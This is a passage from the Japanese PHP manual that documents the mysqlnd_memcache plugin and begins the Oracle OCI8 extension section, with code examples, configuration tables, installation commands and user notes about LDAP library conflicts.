$memc->addServer("host", 11211);
mysqlnd_memcache_set($mysqli, $memc);

/*
   これは test テーブルへの問い合わせです。WHERE 句のキーとして
   id を使い、フィールド f1、f2 そして f3 にアクセスします。
   そこで、mysqlnd_memcache はこれを横取りして memcache 経由で処理します。
*/
$result = $mysqli->query("SELECT f1, f2, f3 FROM test WHERE id = 1");
while ($row = $result->fetch_row()) {
    print_r($row);
}

/*
   これは test テーブルへの問い合わせですが、WHERE 句に f1 を使っています。
   そのため、mysqlnd_memcache はこれを横取りしません。
   MySQL プロトコルを使って処理します。
*/
$mysqli->query("SELECT id FROM test WHERE f1 = 'Lady'");
while ($row = $result->fetch_row()) {
    print_r($row);
}
?>

上の例の出力は以下となります。

array(
    [f1] => Hello
    [f2] => World
    [f3] => !
)
array(
    [id] => 2
)

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールは PHP 5.4+ 用であり、PHP 5.4.4 以降が必要です。それ以外に必要な拡張モジュールは、 PCRE (デフォルトで有効になります) と memcached (バージョン 2.0.x) です。

mysqlnd_memcache プラグインは すべての PHP アプリケーションに対応し、すべての PHP 用 MySQL 拡張 (mysqli、 mysql、 PDO_MYSQL) で使えます。これらの MySQL 拡張モジュールをコンパイルするときに、 mysqlnd のサポートつきで configure しなければいけません。

InnoDB のテーブルにアクセスするには、 MySQL Server 5.6.6 以降のバージョンを使って InnoDB Memcache Daemon Plugin を有効にしておく必要があります。

MySQL Cluster NDB のテーブルにアクセスするには、 MySQL Cluster 7.2 以降のバージョンで NDB Memcache API ノードを有効にしておく必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mysqlnd_memcache

この PECL 拡張モジュールの DLL は、現在存在しません。 Windows でのビルド も参照ください

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Mysqlnd_memcache 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysqlnd_memcache.enable | 1 | PHP_INI_SYSTEM | 1.0.0 以降で利用可能

以下に設定ディレクティブに関する 簡単な説明を示します。

mysqlnd_memcache.enable int

プラグインを有効あるいは無効にします。無効にした場合は、この拡張モジュールを mysqlnd に組み込んで mysqlnd C API の呼び出しのプロキシとすることがなくなります。

注意:

このオプションを使う主な場面は、開発者がこの拡張モジュールを静的に PHP へ組み込む場合です。 一般のユーザーはこの拡張モジュールを共有オブジェクトとしてビルドすることをおすすめします。 そして、不要になれば完全にアンロードします。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

MySQL Memcache Plugin 関連

MYSQLND_MEMCACHE_DEFAULT_REGEXP (string)
デフォルトの正規表現 (PCRE スタイル) で、これを使って SELECT 文のマッチングをします。そして、可能なら MySQL Memcache Plugin のアクセスポイントにマップします。 mysqlnd_memcache_set() も使えますが、 デフォルトではこの正規表現でパターンマッチングを行います。

その他

このプラグインのバージョン番号を取得するには MYSQLND_MEMCACHE_VERSION あるいは MYSQLND_MEMCACHE_VERSION_ID を使います。 MYSQLND_MEMCACHE_VERSION は文字列形式で表したバージョンで、 MYSQLND_MEMCACHE_VERSION_ID が数値のバージョン番号です。この数値は 10000 のような整数になります。 この数値から、次のようにバージョンを計算します。

バージョン (の一部) | 例
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_MEMCACHE_VERSION_ID | 10000

MYSQLND_MEMCACHE_VERSION (string)
プラグインのバージョンを表す文字列。1.0.0-alpha など。
MYSQLND_MEMCACHE_VERSION_ID (int)
プラグインのバージョン番号。10000 など。

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd_memcache 関数

目次

  • mysqlnd_memcache_get_config — プラグインの設定情報を返す
  • mysqlnd_memcache_set — MySQL の接続を Memcache の接続と関連づける

User Contributed Notes

There are no user contributed notes for this page.


プラグインの設定情報を返す

  • ≪ Mysqlnd_memcache 関数
  • mysqlnd_memcache_set ≫
  • PHP Manual
  • Mysqlnd_memcache 関数
  • プラグインの設定情報を返す

mysqlnd_memcache_get_config

(PECL mysqlnd_memcache >= 1.0.0)

mysqlnd_memcache_get_config — プラグインの設定情報を返す

説明

mysqlnd_memcache_get_config ( mixed $connection ) : array

この関数は、MySQL 接続にアタッチされた mysqlnd_memcache 関連のすべての設定情報を配列で返します。 MySQL、mysqlnd_memcache_set() で渡した Memache オブジェクト、 自動的に MySQL サーバーから取得したテーブルマッピング情報などが含まれます。

パラメータ

connection

MySQL サーバーへのハンドル。 PDO_MYSQL、mysqli あるいは ext/mysql のいずれかの MySQL API 拡張モジュールを利用するもの。

返り値

成功した場合に mysqlnd_memcache の設定情報の配列、それ以外の場合に false を返します。

返される配列にはこれらの要素が含まれます。

mysqlnd_memcache_get_config() が返す配列の構造
配列のキー | 説明
memcached | この MySQL 接続に mysqlnd_memcache_set() で関連づけた Memcached のインスタンス。 これを使って memcache 接続の設定を変更することもできるし、 この接続上のサーバーに直接問い合わせて設定を変更することもできます。
pattern | サーバーに送信された SQL クエリーにマッチさせるための PCRE 正規表現。 このパターンにマッチするクエリーをさらに分析し、 そのクエリーを横取りして memcache インターフェイスに送るのか 普通の MySQL プロトコルでサーバーに送るのかを判断します。 デフォルトのパターン (MYSQLND_MEMCACHE_DEFAULT_REGEXP) を使うか、あるいは mysqlnd_memcache_set() でパターンを設定します。
mappings | プラグイン側から探す、すべての設定済みコンテナの一覧を含む連想配列。 要素のキーが、MySQL の設定内のコンテナ名になります。 その値については後で説明します。このフィールドの中身を作るには、 mysqlnd_memcache_set() で MySQL と memcache の接続を関連づけるときに MySQL Server に問い合わせます。
mapping_query | mysqlnd_memcache_set() で、利用可能なコンテナとマッピングを識別するときに使う SQL クエリー。 このクエリーの結果を mappings 要素に渡します。
mappings エントリの構造
配列のキー | 説明
prefix | memcache 経由でデータにアクセスするときに使うプレフィックス。 MySQL InnoDB Memcache Deamon プラグインの場合、通常は @@ で始まって、最後は変更可能なセパレータになります。 このプレフィックスは、memcache プロトコルを使うときにキーの値の前に置かれます。
schema_name | アクセスするテーブルを含むスキーマ (データベース) の名前。
table_name | memcache プロトコルでアクセス可能なデータを含むテーブルの名前。
id_field_name | memcache 経由でテーブルにアクセスするときに、キーとして使う id が含まれるフィールド (カラム) の名前。たいていは、主キーが設定されているフィールドとなります。
separator フィールドの値を分割するときに使うセパレータ。 memcache が単一の値にしかアクセスできないのに対して MySQL は複数のカラムをこの値に押し込めることができるので、 このセパレータが必要になります。

注意:

セパレータは MySQL Server で設定できますが、 memcache 経由できる値を使ってはいけません。 そんなことをしたら、きちんとしたマッピングが保証できなくなるからです。

fields | このマッピングで利用可能なすべてのフィールド名の配列。

例

例1 mysqlnd_memcache_get_config() の例

<?php
$mysqli = new mysqli("host", "user", "passwd", "database");
$memc = new Memcached();
$memc->addServer("host", 11211);
mysqlnd_memcache_set($mysqli, $memc);

var_dump(mysqlnd_memcache_get_config($mysqli));
?>

上の例の出力は以下となります。

array(4) {
  ["memcached"]=>
  object(Memcached)#2 (0) {
  }
  ["pattern"]=>
  string(125) "/^\s*SELECT\s*(.+?)\s*FROM\s*`?([a-z0-9_]+)`?\s*WHERE\s*`?([a-z0-9_]+)`?\s*=\s*(?(?=["'])["']([^"']*)["']|([0-9e\.]*))\s*$/is"
  ["mappings"]=>
  array(1) {
    ["mymem_test"]=>
    array(6) {
      ["prefix"]=>
      string(13) "@@mymem_test."
      ["schema_name"]=>
      string(4) "test"
      ["table_name"]=>
      string(10) "mymem_test"
      ["id_field_name"]=>
      string(2) "id"
      ["separator"]=>
      string(1) "|"
      ["fields"]=>
      array(3) {
        [0]=>
        string(2) "f1"
        [1]=>
        string(2) "f2"
        [2]=>
        string(2) "f3"
      }
    }
  }
  ["mapping_query"]=>
  string(209) "    SELECT c.name,
                          CONCAT('@@', c.name, (SELECT value FROM innodb_memcache.config_options WHERE name = 'table_map_delimiter')) AS key_prefix,
                          c.db_schema,
                          c.db_table,
                          c.key_columns,
                          c.value_columns,
                          (SELECT value FROM innodb_memcache.config_options WHERE name = 'separator') AS sep
                     FROM innodb_memcache.containers c"
}

参考

  • mysqlnd_memcache_set() - MySQL の接続を Memcache の接続と関連づける

User Contributed Notes

There are no user contributed notes for this page.


MySQL の接続を Memcache の接続と関連づける

  • ≪ mysqlnd_memcache_get_config
  • 変更履歴 ≫
  • PHP Manual
  • Mysqlnd_memcache 関数
  • MySQL の接続を Memcache の接続と関連づける

mysqlnd_memcache_set

(PECL mysqlnd_memcache >= 1.0.0)

mysqlnd_memcache_set — MySQL の接続を Memcache の接続と関連づける

説明

mysqlnd_memcache_set ( mixed $mysql_connection , Memcached $memcache_connection = ? , string $pattern = ? , callable $callback = ? ) : bool

mysql_connection と memcache_connection を関連づけます。 pattern を PCRE 正規表現として使い、 callback は通知用のコールバックとして使います。 あるいは、mysql_connection との関連づけを解除します。

MySQL の接続と Memcache の接続を関連づけるときに、この関数は MySQL Server にその設定を問い合わせます。 サーバーの設定を自動検出し、InnoDB Memcache Daemon Plugin を使うのか MySQL Cluster NDB Memcache をサポートするのかを判断します。 また、サーバーに問い合わせて、エクスポートされたテーブルやその他の設定も自動検出します。 これらの自動的な設定の結果を取得するには、mysqlnd_memcache_get_config() を使います。

パラメータ

mysql_connection

MySQL サーバーへのハンドル。 PDO_MYSQL、mysqli あるいは ext/mysql のいずれかの MySQL API 拡張モジュールを利用するもの。

memcache_connection

Memcached のインスタンスで、 MySQL Memcache Daemon プラグインに接続させるもの。 このパラメータを省略した場合は、mysql_connection と memcache の接続との関連づけを解除します。すでに別の接続と関連づけされている場合は、 その関連づけを上書きします。

pattern

Perl 互換の正規表現 形式のパターン。 memcache に渡すクエリーを見つけるときに使います。このパターンには三つのサブパターンが必要です。 最初のサブパターンにはリクエストするフィールドの一覧、 二番目のサブパターンにはクエリーが使う ID カラムの名前、 そして最後のサブパターンにはリクエストする値を指定します。 このパラメータを省略したり null を渡したりした場合は、 デフォルトのパターンを使います。

callback

クエリーを MySQL に送るときに使うコールバック。 このコールバックは bool のパラメータを一つ受け取ります。 これは、クエリが Memcache 経由で送られたかどうかを表します。

返り値

関連づけ、あるいはその解除が成功した場合に true、 エラーが発生した場合に false を返します。

例

例1 mysqlnd_memcache_set() で、 var_dump() をデバッグ用コールバックとして使う例

<?php
$mysqli = new mysqli("host", "user", "passwd", "database");
$memc = new Memcached();
$memc->addServer("host", 11211);
mysqlnd_memcache_set($mysqli, $memc, NULL, 'var_dump');

/* このクエリーは横取りされ、Memcache プロトコル経由で実行します */
echo "Sending query for id via Memcache: ";
$mysqli->query("SELECT f1, f2, f3 FROM test WHERE id = 1");

/* f1 は有効なキーフィールドとして設定されていないので、これは Memcache を使いません */
echo "Sending query for f1 via Memcache: ";
$mysqli->query("SELECT id FROM test WHERE f1 = 1");

mysqlnd_memcache_set($mysqli);

/* これで、通常の MySQL プロトコルを使うようになります */
echo "var_dump won't be invoked: ";
$mysqli->query("SELECT f1, f2, f3 WHERE id = 1");

?>

上の例の出力は以下となります。

Sending query for id via Memcache: bool(true)
Sending query for f1 via Memcache: bool(false)
var_dump won't be invoked:

参考

  • mysqlnd_memcache_get_config() - プラグインの設定情報を返す

User Contributed Notes

There are no user contributed notes for this page.


変更履歴

目次

  • PECL/mysqlnd_memcache 1.0 系

この変更履歴は、アプリケーションに影響を及ぼしたり過去との互換性を崩してしまったりする変更だけをまとめたものです。

完全な変更履歴については、ソース配布物の中にある CHANGES を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_memcache 1.0 系

1.0.0-alpha

  • リリース日: 未定
  • 目標: SQL の SELECT から MySQL Memcache プラグインへの基本的なマッピング。

最初のリリースでは、基本的な SELECT 文を MySQL Memcache プラグインへのアクセスにマップします。 これによって、パフォーマンス的なメリットが得られるでしょう。 というのも、Memcache プロトコルを使って MySQL ストレージに直接 キー/バリュー 形式のアクセスをするので、SQL を使うよりも高速になります。

User Contributed Notes

There are no user contributed notes for this page.


Oracle OCI8

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • テスト
    • 実行時設定
  • 定義済み定数
  • 例
  • OCI8 接続のハンドリングおよびプーリング
  • OCI8 高速アプリケーション通知 (FAN) サポート
  • OCI8 Transparent Application Failover (TAF) Support
  • OCI8 および DTrace 動的トレーシング
  • ドライバでサポートされるデータ型
  • OCI8 関数
    • oci_bind_array_by_name — PHP の配列を Oracle PL/SQL の配列に名前でバインドする
    • oci_bind_by_name — Oracle プレースホルダに PHP 変数をバインドする
    • oci_cancel — カーソルからの読み込みをキャンセルする
    • oci_client_version — Oracle クライアント・ライブラリのバージョンを返す
    • oci_close — Oracleとの接続を閉じる
    • oci_commit — 未解決のトランザクションをコミットする
    • oci_connect — Oracle データベースに接続する
    • oci_define_by_name — PHP の変数を、クエリで取得するカラムに関連づける
    • oci_error — 最後に見つかったエラーを返す
    • oci_execute — 文を実行する
    • oci_fetch_all — クエリからの複数の行を二次元配列に取得する
    • oci_fetch_array — クエリの次の行を連想配列あるいは数値添字配列で返す
    • oci_fetch_assoc — クエリの次の行を連想配列で返す
    • oci_fetch_object — クエリの次の行をオブジェクトとして返す
    • oci_fetch_row — クエリの次の行を配列で返す
    • oci_fetch — クエリの次の行を内部バッファに取得する
    • oci_field_is_null — フェッチしたフィールドが null であるかどうかを確認する
    • oci_field_name — 文からのフィールド名を返す
    • oci_field_precision — フィールドの精度を問い合わせる
    • oci_field_scale — フィールドの桁数を問い合わせる
    • oci_field_size — フィールドサイズを返す
    • oci_field_type_raw — Oracle におけるフィールドの型を問い合わせる
    • oci_field_type — フィールドのデータ型の名前を返す
    • oci_free_descriptor — ディスクリプタを解放する
    • oci_free_statement — 文やカーソルに関連付けられた全てのリソースを解放する
    • oci_get_implicit_resultset — Oracle Database の暗黙の結果セットを持つ親ステートメント・リソースから次の子ステートメント・リソースを返す
    • oci_lob_copy — ラージオブジェクトをコピーする
    • oci_lob_is_equal — 2 つの LOB/FILE ロケータの等価性を比較する
    • oci_new_collection — 新しいコレクションオブジェクトを割り当てる
    • oci_new_connect — 一意な接続を使って Oracle サーバーへ接続する
    • oci_new_cursor — 新規カーソル (ステートメントハンドル) を割り当て、それを返す
    • oci_new_descriptor — 空の新規 LOB あるいは FILE ディスクリプタを初期化する
    • oci_num_fields — ある文における結果のカラム数を返す
    • oci_num_rows — 文の実行で作用された行数を取得する
    • oci_parse — 実行のために Oracle の文をパースする
    • oci_password_change — Oracle ユーザーのパスワードを変更する
    • oci_pconnect — 持続的接続を使用してOracle データベースに接続する
    • oci_register_taf_callback — Register a user-defined callback function for Oracle Database TAF
    • oci_result — フェッチした行からフィールドの値を取得する
    • oci_rollback — 未解決のデータベーストランザクションをロールバックする
    • oci_server_version — Oracle データベースのバージョンを返す
    • oci_set_action — アクション名を設定します
    • oci_set_call_timeout — Sets a millisecond timeout for database calls
    • oci_set_client_identifier — クライアント識別子を設定します
    • oci_set_client_info — クライアント情報を設定する
    • oci_set_db_operation — Sets the database operation
    • oci_set_edition — データベース・エディション を設定します
    • oci_set_module_name — モジュール名を設定します
    • oci_set_prefetch — クエリがプリフェッチする行数を設定する
    • oci_statement_type — ステートメントの種類を返す
    • oci_unregister_taf_callback — Unregister a user-defined callback function for Oracle Database TAF
  • OCICollection — OCICollection クラス
    • OCICollection::append — コレクションに要素を追加する
    • OCICollection::assign — コレクションに他の存在するコレクションから値を割り当てる
    • OCICollection::assignElem — コレクションの要素に値を割り当てる
    • OCICollection::free — コレクションオブジェクトに関連付けられたリソースを解放する
    • OCICollection::getElem — 要素の値を返す
    • OCICollection::max — コレクション内の要素の最大数を取得する
    • OCICollection::size — コレクションのサイズを返す
    • OCICollection::trim — コレクションの最後から要素を切り取る
  • OCILob — OCILob クラス
    • OCILob::append — ラージオブジェクトのデータを他のラージオブジェクトに追加する
    • OCILob::close — LOB ディスクリプタを閉じる
    • OCILob::eof — ラージオブジェクトのディスクリプタが EOF かどうかを調べる
    • OCILob::erase — 内部 LOB データの特定の位置を消去する
    • OCILob::export — LOB の内容をファイルに出力する
    • OCILob::flush — LOB のバッファをサーバーにフラッシュする、あるいは書き込む
    • OCILob::free — LOB ディスクリプタに関連付けられたりソースを解放する
    • OCILob::getBuffering — ラージオブジェクトに対する現在のバッファリングの状態を返す
    • OCILob::import — ファイルデータを LOB にインポートする
    • OCILob::load — ラージオブジェクトの内容を返す
    • OCILob::read — ラージオブジェクトの一部を読み込む
    • OCILob::rewind — 内部ポインタをラージオブジェクトの先頭に移動する
    • OCILob::save — データをラージオブジェクトに保存する
    • OCILob::saveFile — のエイリアス OCILob::import
    • OCILob::seek — ラージオブジェクトの内部ポインタをセットする
    • OCILob::setBuffering — 現在のラージオブジェクト用のバッファリング状態を変更する
    • OCILob::size — ラージオブジェクトのサイズを返す
    • OCILob::tell — ラージオブジェクトの内部ポインタの現在位置を返す
    • OCILob::truncate — ラージオブジェクトを切りつめる
    • OCILob::write — データをラージオブジェクトに書き込む
    • OCILob::writeTemporary — 一時的なラージオブジェクトを書き込む
    • OCILob::writeToFile — のエイリアス OCILob::export
  • OCI8 廃止されたエイリアスと関数
    • oci_internal_debug — 内部的なデバッグ出力を有効/無効にする
    • ocibindbyname — oci_bind_by_name のエイリアス
    • ocicancel — oci_cancel のエイリアス
    • ocicloselob — OCI-Lob::close のエイリアス
    • ocicollappend — のエイリアス OCICollection::append
    • ocicollassign — のエイリアス OCICollection::assign
    • ocicollassignelem — のエイリアス OCICollection::assignElem
    • ocicollgetelem — のエイリアス OCICollection::getElem
    • ocicollmax — のエイリアス OCICollection::max
    • ocicollsize — のエイリアス OCICollection::size
    • ocicolltrim — のエイリアス OCICollection::trim
    • ocicolumnisnull — oci_field_is_null のエイリアス
    • ocicolumnname — oci_field_name のエイリアス
    • ocicolumnprecision — oci_field_precision のエイリアス
    • ocicolumnscale — oci_field_scale のエイリアス
    • ocicolumnsize — oci_field_size のエイリアス
    • ocicolumntype — oci_field_type のエイリアス
    • ocicolumntyperaw — oci_field_type_raw のエイリアス
    • ocicommit — oci_commit のエイリアス
    • ocidefinebyname — oci_define_by_name のエイリアス
    • ocierror — oci_error のエイリアス
    • ociexecute — oci_execute のエイリアス
    • ocifetch — oci_fetch のエイリアス
    • ocifetchinto — 廃止された関数。oci_fetch_array や oci_fetch_object、 oci_fetch_assoc、 oci_fetch_row の変種
    • ocifetchstatement — oci_fetch_all のエイリアス
    • ocifreecollection — のエイリアス OCICollection::free
    • ocifreecursor — oci_free_statement のエイリアス
    • ocifreedesc — OCI-Lob::free のエイリアス
    • ocifreestatement — oci_free_statement のエイリアス
    • ociinternaldebug — oci_internal_debug のエイリアス
    • ociloadlob — OCI-Lob::load のエイリアス
    • ocilogoff — oci_close のエイリアス
    • ocilogon — oci_connect のエイリアス
    • ocinewcollection — oci_new_collection のエイリアス
    • ocinewcursor — oci_new_cursor のエイリアス
    • ocinewdescriptor — oci_new_descriptor のエイリアス
    • ocinlogon — oci_new_connect のエイリアス
    • ocinumcols — oci_num_fields のエイリアス
    • ociparse — oci_parse のエイリアス
    • ociplogon — oci_pconnect のエイリアス
    • ociresult — oci_result のエイリアス
    • ocirollback — oci_rollback のエイリアス
    • ocirowcount — oci_num_rows のエイリアス
    • ocisavelob — OCI-Lob::save のエイリアス
    • ocisavelobfile — OCI-Lob::import のエイリアス
    • ociserverversion — oci_server_version のエイリアス
    • ocisetprefetch — oci_set_prefetch のエイリアス
    • ocistatementtype — oci_statement_type のエイリアス
    • ociwritelobtofile — OCI-Lob::export のエイリアス
    • ociwritetemporarylob — OCI-Lob::writeTemporary のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

これらの関数により、 Oracle データベースにアクセスできます。 これらは SQL 及び PL/SQL 文をサポートします。基本的なフィーチャーには、 トランザクション制御、 PHP 変数の Oracle プレースホルダへのバインディング、 及び、ラージ・オブジェクト (LOB) 型やコレクションのサポートが含まれます。 データベース常駐接続プーリング(DRCP)や結果キャッシングのような、 オラクルのスケーラビリティ・フィーチャーもサポートされます。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • テスト
  • 実行時設定

User Contributed Notes

There are no user contributed notes for this page.


要件

OCI8 3.0 が PHP 8 には含まれています。 » PECL からも利用できます。 PHP 7 については、OCI8 2.2 が » PECL から利用できます。 OCI8 は、Oracle 10g 以降のクライアントライブラリが必要です。

Oracle Database が PHP と同じマシンにある場合、 データベースのソフトウェアには必要なライブラリとヘッダファイルが含まれています。 PHP が違うマシンにある場合、 無料の » Oracle Instant Client ライブラリを使って下さい。

Oracle Database と PHP が同じマシンで動いている場合は、必要なライブラリはデータベースソフトウェアの中にすべて含まれています。 PHP を別のマシンで動かしている場合は、無料の » Oracle Instant Client ライブラリを使います。

Oracle Instant Client を使うには、basic あるいは Basic Light の Oracle Instant Client ZIP ファイルあるいは RPM パッケージ、または DMG パッケージをインストールします。OCI8 をソースコードからビルドする場合は、さらに Instant Client の SDK もインストールして下さい。

PHP を動かすときには、少なくとも OCI8 をビルドしたときと同じバージョン以降の Oracle ライブラリを使わなければなりません。

注意:

Oracle の標準のクライアント-サーバの ネットワークの相互運用性によって、 Oracle のクライアントとデータベースのバージョンが違っていても 接続することが出来ます。 Oracle の正式なサポート文書 ID 207303.1.を要約すると、 Oracle Client 19, 18 と 12.2 は、 Oracle Database 11.2 以降にも接続できるとのことです。 Oracle Client 12.1 は Oracle Database 10.2 以降に接続できます。 Oracle Client 11.2 は Oracle Database 9.2 以降に接続できます。

注意:

OCI8 の全機能が使えるのは、 最新バージョンの Oracle クライアントライブラリとデータベースを使っているときだけです。

User Contributed Notes

charles dot fisher at arconic dot com 27-Dec-2019 05:00
Oracle's development package includes an ldap.h file that causes compilation attempts of PHP to fail.

For the oracle-instantclient12.2-devel 64-bit RPM, this file is found in the following path:

/usr/include/oracle/12.2/client64/ldap.h

Rename this file to ldap.h-oracle.

After doing so, and assuming there are no other build problems, PHP will compile (even when ldap and oci are configured in the build).
Andi,post at rueckauer dot nospam dot ch 01-May-2018 12:14
The provided link to the Oracle Instant Client is not valid anymore. Visit http://www.oracle.com/technetwork/database/database-technologies/instant-client/downloads/index.html instead.
sgfan at gmx dot net 27-Sep-2017 09:31
I can confirm Rainer's observations and this not limited to PHP. One cannot link libopenldap with C with Oracle driver without crashing the app at runtime. Same here on HP-UX. Both won't play nice at all.
Rainer Perske 28-Jun-2017 06:16
Oracle Instant Client provides its own LDAP library that may be incompatible to the LDAP library provided by the operating system.

Segmentation faults and other errors can happen if you load an OCI8 extension into a PHP containing LDAP support or if you load a PHP module with OCI8 into an Apache server with LDAP support.

But this depends heavily on the exact versions of operating system, system LDAP library, PHP,  OCI8, and other pieces of software involved.


インストール手順

OCI8 とともに PHP を構成する

OCI8 を構成する前に前述の 要件 節に 目を通してください。

Web サーバーを開始する前に、一般的に OCI8 はいくつかの Oracle 環境変数（下記参照）を 必要とします。それらはライブラリの場所を指定したり、構成ファイルを指示したり、 Oracle ライブラリで使用する文字セットのような基本的ないくつかのプロパティを設定します。 あらゆる PHP プロセスが開始される 前にそれらの変数を設定しなければいけません。

PHP を構成したのと同じか、またはより最新の Oracle ライブラリのメジャー・バージョンとともに PHP バイナリをリンクしなければいけません。 例えば Oracle 19 ライブラリで OCI8 をビルドするなら、 PHP も Oracle 19 ライブラリとともにデプロイして実行すべきです。 PHP のアプリケーションは、それ以外のバージョンの Oracle データベースにも接続できます。 Oracle のクライアントとサーバーの間には、異なるバージョン間での互換性があるからです。

OCI8 を PECL から(pecl コマンド経由で) インストールする

OCI8 拡張機能は、 » PECL リポジトリを使えば 既存の PHP のインストールに追加できます。

以下の手順で、自動インストールを行えます

  • ファイアウォールの後ろにいる場合、以下のようにしてプロキシを設定します:

    pear config-set http_proxy http://my-proxy.example.com:80/

  • 以下を実行します。

    pecl install oci8

    PHP 7 以降では、pecl install oci8-2.2.0 とします。

  • プロンプトが出たら、 $ORACLE_HOME または、 instantclient,/path/to/instant/client/lib を入力して下さい。

    注意: $ORACLE_HOME という値を入力しないで下さい。 pecl はそれを展開しないからです。 代わりに、展開済みのパスを入力するようにして下さい。 たとえば、/opt/oracle/product/19c/dbhome_1 や instantclient,/Users/myname/Downloads/instantclient_19_8 のようなものです。

  • oci8_dtrace_gen.h: No such file or directory というエラーが発生した場合、 PHP が DTrace を有効にしてビルドされているということです。 この場合、以下のようにしてインストールして下さい:

    $ export PHP_DTRACE=yes
$ pecl install oci8

  • php.ini ファイルを編集し、以下の一行を追加して下さい。

    extension=oci8.so

    php.ini のディレクティブ extension_dir が oci8.so をインストールしたディレクトリを差しているかを確認して下さい。

OCI8 を PECL から(phpize 経由で) インストールする

pecl コマンドが利用できない場合に、 OCI8 を既存の PHP のインストールに追加するには、 » PECL OCI8 パッケージを手動でダウンロードして下さい。 たとえば、oci8-3.0.0.tgz をダウンロードします。

  • パッケージを展開します:

    tar -zxf oci8-3.0.0.tgz
cd oci8-3.0.0

  • パッケージを準備します:

    phpize

  • $ORACLE_HOME または Instant Client を使ってパッケージを設定します。

    ./configure -with-oci8=shared,$ORACLE_HOME

    または

    ./configure -with-oci8=shared,instantclient,/path/to/instant/client/lib

  • パッケージをインストールします:

    make install

  • oci8_dtrace_gen.h: No such file or directory というエラーが発生した場合、 PHP が DTrace を有効にしてビルドされているということです。 この場合、以下のようにして環境変数を設定してから、 configure と make を再実行して下さい。

    $ export PHP_DTRACE=yes

  • php.ini ファイルを編集し、以下の一行を追加して下さい。

    extension=oci8.so

    php.ini のディレクティブ extension_dir が oci8.so をインストールしたディレクトリを差しているかを確認して下さい。

PHP をビルドする際に、OCI8 を共有ライブラリとしてインストールする

PHP をソースコードからビルドしている場合、 OCI8 を共有ライブラリとしてビルドするために shared オプションが使えます。 これを使うと、PHP に動的にライブラリを読み込ませることが出来ます。 共有ライブありとしてビルドすると、 PHP の本体に影響を与えることなく、OCI8 をアップグレードできます。

以下のオプションを使って、OCI8 を設定できます。

  • 無料の » Oracle Instant Client ライブラリを使っている場合は、以下のようにします:

    ./configure --with-oci8=shared,instantclient,/path/to/instant/client/lib

    Instant Client 12.2 (または前のバージョン) が ZIP ファイルからインストールされている場合、 ライブラリへのシンボリックリンクが作られていることをまず確認して下さい。 たとえば ln -s libclntsh.so.12.1 libclntsh.so のようにします。

    RPM を使って Oracle Instant Client をインストールしている場合、 configure コマンドは、以下のようになるでしょう:

    ./configure --with-oci8=shared,instantclient,/usr/lib/oracle/<version>/client/lib

    --with-oci8=shared,instantclient,/usr/lib/oracle/19.9/client/lib のようにして、オプションを指定します。

    注意すべきなのは、PHP ではじめて Oracle Instant Client がサポートされたのは PHP 4.3.11 と 5.0.4 で、 その時は --with-oci8-instant-client というオプションが使われていたということです。

  • Oracle Database を使っているか、 Oracle Client が完全にインストールされている場合は、以下のようにします:

    ./configure --with-oci8=shared,$ORACLE_HOME

    Webサーバのユーザ (nobody, www) が、ライブラリへのアクセス権を持っていることを確認して下さい。 $ORACLE_HOME 内にある初期化ファイルと (もし使っていれば) tnsnames.ora です。 Oracle 10gR2 を使っている場合、 ディレクトリアクセスを与えるために $ORACLE_HOME/install/changePerm.sh を実行する必要があるかもしれません。

設定が終わった後は、いつもの PHP のビルドの手続きに従って下さい。 たとえば make install コマンドの実行です。 OCI8 の共有ライブラリ oci8.so が作成されます。 このファイルは、PHP の extension ディレクトリに手動で移動する必要があるかもしれません。 このディレクトリは、php.ini の extension_dir で指定します。

OCI8 のインストールを完了するには、 php.ini を編集し、以下の一行を追加します。

extension=oci8.so

PHP をビルドする際、OCI8 を静的リンクしてインストールする

PHP をソースコードからビルドしている場合、 以下の configure オプションを使って、 OCI8 を静的ライブラリとして PHP に含めることが出来ます。

  • Oracle Instant Client を使っている場合、以下のようにします:

    ./configure --with-oci8=instantclient,/path/to/instant/client/lib

  • Oracle Database を使っているか、 Oracle Client が完全にインストールされている場合は、以下のようにします:

    ./configure --with-oci8=$ORACLE_HOME

設定が終わった後は、いつもの PHP のビルドの手続きに従って下さい。 たとえば make install コマンドの実行です。 コンパイルが終わった後は、 oci8.so を php.ini に追加する必要はありません。 追加のビルドステップも不要です。

Windows で OCI8 をインストールする

OCI8 拡張機能は、 » PECL リポジトリのDLLや、 インストールされた PHP の ext ディレクトリにあるライブラリを使うことで追加出来ます。

Oracle 12c (以降) のライブラリを使う場合、 php.ini の extension=php_oci8_12c.dll, extension=php_oci8_11g.dll, extension=php_oci8.dll のいずれかをコメントアウトして下さい。 これらの DLL のうち、ひとつだけを1度に有効にできます。 バージョンが上のDLLには、より多くの機能が含まれています。 必ずしも全てのDLLが、全てのバージョンのPHPで利用できるとは限りません。 extension_dir が、PHP の拡張機能の DLL を含んだディレクトリを指していることを確認して下さい。

もし Instant Client を使用する場合、システムの PATH 環境変数を Oracle ライブラリ・ディレクトリに設定します。

Oracle の実行環境を設定する

このエクステンションを使用する前に、 Web デーモンのユーザーのために Oracle の環境変数が 適切に設定されたか確認してください。 もし Web サーバーがブート時に自動起動される場合は、ブート時の環境も正しく設定されていることを 確認してください。

注意:

